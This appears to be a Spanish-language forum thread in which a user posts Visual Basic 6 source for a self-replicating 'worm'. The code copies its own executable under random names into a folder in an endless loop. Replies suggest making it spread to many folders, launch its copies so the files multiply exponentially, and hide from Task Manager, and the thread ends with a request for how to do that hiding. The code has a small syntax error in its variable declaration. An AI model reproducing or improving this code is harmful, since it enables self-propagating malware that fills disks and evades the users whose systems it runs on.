Private Declare Function GetTickCount& Lib "kernel32" ()
Sub main()
    Infectar
End Sub
 
Public Function Infectar()
    Dim Yo As String, Ruta As String
    Yo = App.Path & "\" & App.EXEName & ".exe"
    Ruta = "C:\CARPETA\RUTA\QUE\QUIERAS"
    FileCopy Yo, Ruta & "\" & Aleatorio & ".exe"
    Esperar (1000)
End Function
 
Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function
 
Private Function Aleatorio() As Long
    Randomize
    Aleatorio = CLng((100000 - 999999) * Rnd + 999999)
End Function

Que lo disfrutes....
Pero deberias haverlo hecho tu
PD: Si no entiendes algo pregunta.

bueno lo unico que no entiendo es lo de esperar

lo de poner un timer si lo sabia pero no esta funcion :

La verdad se me hace poco ingenioso el código, si lo que quieres es que cada minuto se copie lo del timer esta bien pero deberias probar cambiar el nombre del archivo con algo más ingenioso por ejemplo usar una combinación de carácteres y números en lugar de solo números, además de probar una matríz para los nombres de la carpeta, para que así se autocopie en diferentes carpetas en lugar de solo una en específico, además de crear una lista con la ubicación más de uno de los nuevos gusanos, para que así se puedan ejecutar estos o mejor aun hacer que se ejecuten a tráves de una instrucción, de esa manera la cantidad de archivos se multiplica exponencialmente.
por último te recomiendo que crees un programa que controle al gusanito para que no se ejecute más de n cantidad de veces al mismo tiempo y agregale una instrucción para que no aparezca en la ventana de "Administrador de Tareas".

Creo que con la ayuda que te dieron es suficiente para que lo desarrolles tu, yo solo opino que hay que tener un poco más de imaginación, pero eso es cosa de cada quien, si necesitas ayuda con tu código postealo y luego lo reviso.

que instruccion hay que poner para que no aparezca en la ventana de "Administrador de Tareas"?
gracias